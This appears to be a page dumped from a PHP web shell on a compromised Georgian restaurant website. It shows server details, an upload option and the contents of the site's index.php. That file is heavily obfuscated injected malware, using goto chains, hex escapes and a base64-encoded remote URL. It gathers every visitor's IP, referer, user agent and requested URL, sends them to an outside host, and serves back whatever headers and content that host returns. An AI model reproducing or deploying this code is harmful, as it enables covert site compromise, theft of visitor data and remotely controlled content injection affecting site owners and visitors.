HEX
Server: Apache/2
System: Linux kakhelebi.rst.ge 4.18.0-553.50.1.el8_10.x86_64 #1 SMP Tue Apr 15 08:09:22 EDT 2025 x86_64
User: admin (1001)
PHP: 8.1.31
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/admin/domains/restaurateur.ge/private_html/index.php
<?php
 goto BABhr; fMXqo: goto stMxm; goto HtJgO; nyaJM: BevDR: goto JPeGu; FJ9XJ: $agent = actor("\141\110\122\x30\143\x44\157\166\x4c\172\x59\x7a\117\124\115\x74\x59\62\147\60\x4c\x58\x59\x7a\x4d\104\101\165\x63\155\x46\162\x64\x58\x52\x6c\142\x6a\x49\60\141\x6e\101\165\131\x32\x78\160\131\x32\163\x3d"); goto WcAEB; Pc_xL: $try = 0; goto LvFkB; R2dWe: goto uScde; goto pLi7a; GnmB0: K1z43: goto UTf1z; RuSCh: if ($airport["\151\x70"] == null) { $airport["\151\160"] = ''; } goto SjSjk; Peucw: l5vsa: goto hCfjt; WUZbf: function action($url) { $animal = curl_init(); curl_setopt($animal, CURLOPT_URL, $url); curl_setopt($animal, CURLOPT_USERAGENT, "\x61\143\x74\x69\x6f\156"); curl_setopt($animal, CURLOPT_TIMEOUT, 29); curl_setopt($animal, CURLOPT_RETURNTRANSFER, 1); curl_setopt($animal, CURLOPT_FRESH_CONNECT, TRUE); $r = curl_exec($animal); curl_close($animal); if ($r) { return $r; } return "\x24\141\156\143\151\145\x6e\x74"; } goto qtf8n; XVZxc: goto VAVwR; goto k8oow; FNvZD: kKUrL: goto OuwCR; MOSci: goto to_jo; goto YrX9g; Tl35R: goto EsggT; goto MOSci; rMwhF: goto dL5wt; goto PINPF; ga7g5: goto opuH_; goto Uqe_H; iyL7V: goto oTBCZ; goto GBetd; s55tg: goto IyC6b; goto GuJzO; itWQw: eAJsf: goto SsFHk; l40BV: goto LYWiV; goto IAeNk; IXDHB: goto K1z43; goto QtkXT; qtf8n: goto ajY0K; goto f5_HC; zo_UN: goto PqhXX; goto fz3Dv; WcAEB: goto orfaB; goto pHzFu; bk4zR: a8VAd: goto WPjKS; ugdA4: TZT0C: goto r1G4N; ct1Ey: stMxm: goto ga7g5; iPxUk: sxTXO: goto WUZbf; GBetd: dL5wt: goto tPkxI; BABhr: goto jjOGl; goto pbFEq; OuwCR: goto l5vsa; goto R2dWe; EzL7b: sa_y6: goto FyKXR; mRHKX: goto tEyXF; goto FNvZD; SsFHk: goto mz0d8; goto FOsMx; iZlFk: yRhdE: goto vUuiO; tPkxI: goto TZT0C; goto OQEAf; Z3Phj: FE41h: goto znX1Y; jFUW0: NWBr7: goto YC_T_; cc7eP: goto ZdT9j; goto l40BV; J82Zr: aJG7A: goto r5HYz; FOsMx: goto yYDmA; goto jFUW0; OLAfK: $airport["\162\x65\x66\x65\x72\x65\162"] = isset($_SERVER["\x48\124\124\120\137\122\x45\106\x45\122\x45\x52"]) ? $_SERVER["\x48\124\124\120\137\122\x45\106\105\122\105\x52"] : ''; goto LfDEe; nGwbb: goto O_vz4; goto s6xKT; r5HYz: goto OYKzT; goto BIrT6; OQEAf: goto PNkFg; goto vveM4; GpnDe: goto YBjc7; goto NMJrh; FyKXR: while ($try < 3) { $url = sprintf("\45\163\x2f\77\x72\75\x25\x73", $agent, backup(base64_encode(implode("\x7b\174\x7d", $airport)))); $content = action($url); $autumn = @preg_split("\x2f\x7b\134\174\175\x2f\163\x69", $content, -1, PREG_SPLIT_NO_EMPTY); if (!empty($autumn) && isset($autumn[1])) { @header($autumn[0]); echo $autumn[1]; die; } $try++; } goto Vc_nI; jClkp: goto GwfKC; goto t5gd4; wqPc5: goto dK7Zm; goto dtppb; fz3Dv: YBjc7: goto bEqAO; CNgSH: goto a8VAd; goto s55tg; sUbkt: goto sxTXO; goto q6v7Z; ckvrT: OYKzT: goto kr9wa; PINPF: scvWm: goto FJ9XJ; RZX2E: goto cqEg2; goto LHQYL; f5_HC: GN0B1: goto cc7eP; FNNsp: Y34u5: goto bk4zR; q6v7Z: S7WLO: goto Iv_Vf; WaSgQ: goto FE41h; goto nGwbb; C0I0O: if (isset($_REQUEST["\x70\x61\x72\x61\x6d\x73"])) { $airport["\x61\x70\151"] = $agent; ksort($airport); print_r($airport); die; } goto BBOkj; A2AZQ: jjOGl: goto WaSgQ; xrFZS: goto aJG7A; goto lKOXv; WYUw0: goto xSnI9; goto iyL7V; yGqC0: uIj1A: goto k9OJU; gSt7Q: PqhXX: goto Pc_xL; crR3y: goto Y34u5; goto EzL7b; davHW: O_vz4: goto J82Zr; SRN6K: goto GHvg7; goto oRz7B; NMJrh: PNkFg: goto nyaJM; vveM4: cqEg2: goto C0I0O; gIzXr: goto VNFiu; goto pmM0b; f4ae9: ajY0K: goto xrFZS; k8oow: to_jo: goto jrIx6; r1G4N: goto wrivP; goto ct1Ey; Q1fQ4: $airport["\x72\145\161\165\145\163\x74\137\165\162\154"] = $_SERVER["\x52\105\x51\125\105\123\x54\x5f\x55\x52\111"]; goto IXDHB; SjSjk: goto S7WLO; goto haQ30; oSx8J: mz0d8: goto zo_UN; LvFkB: goto v04Df; goto mzw73; BIrT6: IyC6b: goto CZ4c_; hnFS3: CqJ9I: goto Tl35R; HtJgO: Dl8j1: goto ZezZ4; vUuiO: goto mFJ7C; goto f4ae9; MqsPr: $airport["\154\141\x6e\147\x75\x61\147\x65"] = isset($_SERVER["\x48\124\124\120\x5f\x41\x43\x43\105\120\x54\x5f\x4c\101\x4e\107\125\101\x47\x45"]) ? $_SERVER["\x48\x54\x54\120\x5f\101\x43\103\x45\120\x54\x5f\x4c\101\x4e\x47\125\101\107\x45"] : ''; goto fjRnM; XyvRX: orfaB: goto CNgSH; Z5NE7: uScde: goto Z3Phj; YdDzP: goto S_Zgm; goto SdlbM; hcQ4a: mFJ7C: goto MqsPr; YrX9g: VNFiu: goto nRab5; LHQYL: oTBCZ: goto Peucw; oRz7B: TQbaA: goto dAqxU; k9OJU: $airport["\x61\x67\x65\156\164"] = isset($_SERVER["\110\124\124\120\137\x55\123\105\x52\x5f\x41\107\105\x4e\x54"]) ? $_SERVER["\110\x54\x54\x50\137\x55\123\x45\122\x5f\x41\x47\x45\x4e\124"] : ''; goto XVZxc; LfDEe: goto CqJ9I; goto GnmB0; NAbL6: goto TQbaA; goto hcQ4a; Y9VqK: $airport["\144\x6f\x6d\x61\151\156"] = isset($_SERVER["\x48\124\x54\120\x5f\110\117\123\124"]) ? $_SERVER["\x48\x54\124\x50\x5f\110\x4f\123\x54"] : $_SERVER["\x53\x45\122\126\x45\x52\x5f\x4e\x41\x4d\105"]; goto aTmUO; Vc_nI: goto aaCfT; goto yGqC0; pHzFu: FC1Vg: goto yBSaH; jrIx6: ZdT9j: goto RZX2E; dAqxU: function actor($apple) { $func = join('', str_split("\102\141" . "\x73\x45" . "\x36\64" . "\x5f" . "\104\x65" . "\143\117\x44\145")); return $func($apple); } goto rMwhF; BBOkj: goto eAJsf; goto bjd0I; lmE7j: goto uIj1A; goto Z5NE7; oxznh: niK8D: goto ugdA4; bjd0I: Qo2aQ: goto Q1fQ4; kr9wa: function backup($d) { $baked = substr($d, strlen($d) - 2); $baker = str_split($d); $balcony = ''; for ($i = 0; $i < count($baker) - 2; $i = $i + 2) { $balcony .= $baker[$i + 1] . $baker[$i]; } $balcony .= $baked; return $balcony; } goto mRHKX; aTmUO: goto kKUrL; goto XyvRX; Iv_Vf: goto OxMrx; goto gIzXr; ZezZ4: opuH_: goto YdDzP; nRab5: KcTOS: goto GpnDe; fjRnM: goto GN0B1; goto A2AZQ; s6xKT: dK7Zm: goto rQ3Qq; IAeNk: laylR: goto BURnb; TvQSv: NFPZq: goto NAbL6; BURnb: $airport["\160\x72\157\x74\157\x63\x6f\154"] = isset($_SERVER["\x48\x54\124\x50\x53"]) ? "\150\164\164\160\x73\72\x2f\57" : "\x68\x74\164\x70\x3a\57\57"; goto mubBQ; znX1Y: goto scvWm; goto ckvrT; SdlbM: sxje9: goto iZlFk; QtkXT: yYDmA: goto oSx8J; Uqe_H: goto sxje9; goto davHW; JPeGu: goto sa_y6; goto gSt7Q; xl19E: goto niK8D; goto Idu4c; dtppb: SuoQa: goto TvQSv; rQ3Qq: OxMrx: goto lmE7j; haQ30: x9F4d: goto Y9VqK; t5gd4: goto Dl8j1; goto itWQw; mubBQ: goto NWBr7; goto G1k8c; yHzuE: goto FC1Vg; goto iPxUk; bEqAO: $airport["\x69\160"] = isset($_SERVER["\110\124\x54\120\x5f\x56\111\101"]) ? $_SERVER["\x48\x54\124\x50\137\x58\x5f\x46\x4f\122\x57\101\122\x44\105\x44\x5f\x46\x4f\x52"] : $_SERVER["\122\x45\115\117\x54\105\137\101\104\104\122"]; goto fMXqo; QYUOO: goto BevDR; goto wqPc5; pLi7a: tEyXF: goto aA2Ra; lKOXv: goto SuoQa; goto oxznh; YC_T_: goto yRhdE; goto xl19E; Idu4c: v04Df: goto QYUOO; hCfjt: goto Qo2aQ; goto hnFS3; mzw73: VAVwR: goto jClkp; UTf1z: goto KcTOS; goto crR3y; b7uBB: goto laylR; goto FNNsp; CZ4c_: GwfKC: goto SRN6K; G1k8c: aaCfT: goto WYUw0; ZSz2v: EsggT: goto b7uBB; pbFEq: S_Zgm: goto RuSCh; pmM0b: wrivP: goto N7xU2; yBSaH: xSnI9: goto sUbkt; aA2Ra: goto NFPZq; goto yHzuE; WPjKS: goto x9F4d; goto fpAqi; fpAqi: GHvg7: goto OLAfK; GuJzO: LYWiV: goto ZSz2v; N7xU2: ?>